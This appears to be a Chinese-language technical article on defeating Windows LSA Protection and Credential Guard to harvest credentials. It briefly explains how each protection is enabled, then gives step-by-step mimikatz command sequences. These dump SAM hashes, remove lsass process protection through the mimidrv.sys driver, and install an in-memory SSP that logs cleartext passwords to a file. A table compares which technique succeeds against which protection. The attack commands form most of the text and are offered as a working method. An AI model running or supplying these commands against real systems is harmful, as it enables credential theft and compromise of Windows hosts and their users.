Bypass LSA Protection&Credential Guard获取密码
字数 1395 2025-08-25 22:58:20
Bypass LSA Protection & Credential Guard 获取密码技术详解
1. LSA Protection 绕过技术
1.1 LSA Protection 简介
LSA (Local Security Authority) Protection 是 Windows 8.1 及更高版本引入的安全功能,要求所有加载到 LSA 的插件都必须使用 Microsoft 签名进行数字签名,防止读取内存和不受保护的进程注入代码。
1.2 开启 LSA Protection 方法
通过注册表开启:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f
验证方法:查看系统日志,事件 ID 为 12 - "LSASS.exe 作为受保护的进程启动"
1.3 绕过 LSA Protection 的技术
1.3.1 lsadump::sam 方法
直接从磁盘上的 SAM 读取凭据:
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
1.3.2 mimidrv.sys 方法
使用 mimikatz 的驱动程序移除 LSA 保护:
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
2. Credential Guard 绕过技术
2.1 Credential Guard 简介
Windows 10 和 Server 2016 引入的基于虚拟化技术的安全功能,隔离 lsass 进程为两个部分:正常 LSA 进程和隔离 LSA 进程(在 VSM 中运行)。
2.2 开启 Credential Guard 方法
通过组策略:
- 计算机配置 → 管理模板 → 系统 → Device Guard → 打开基于虚拟化的安全
- 选择平台安全级别:"安全启动"或"安全启动和 DMA 保护"
- 凭据保护配置:"使用 UEFI 锁启用"或"无锁启用"
- 执行
gpupdate /force
验证方法:运行 msinfo32.exe,查看"系统摘要"→"已配置基于虚拟化的安全服务"
2.3 绕过 Credential Guard 的技术
2.3.1 lsadump::sam 方法
同样有效:
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
2.3.2 misc::memssp 方法
通过内存安装自定义 SSP 记录凭据:
mimikatz # privilege::debug
mimikatz # misc::memssp
新凭据输入后(如锁屏重新登录),会在 c:\windows\system32\mimilsa.log 中记录明文密码
3. 其他补充技术
lsadump::secrets- 从注册表获取 syskey 信息解密- PwDump7
- QuarksPwDump
4. 技术对比
| 方法 | LSA Protection | Credential Guard | 获取内容 |
|---|---|---|---|
| sekurlsa::logonpasswords | 失败 | 部分成功(用户不全,无明文) | 哈希/部分哈希 |
| lsadump::sam | 成功 | 成功 | 全部用户哈希 |
| mimidrv.sys | 成功 | - | 完整访问 |
| misc::memssp | - | 成功 | 新输入明文 |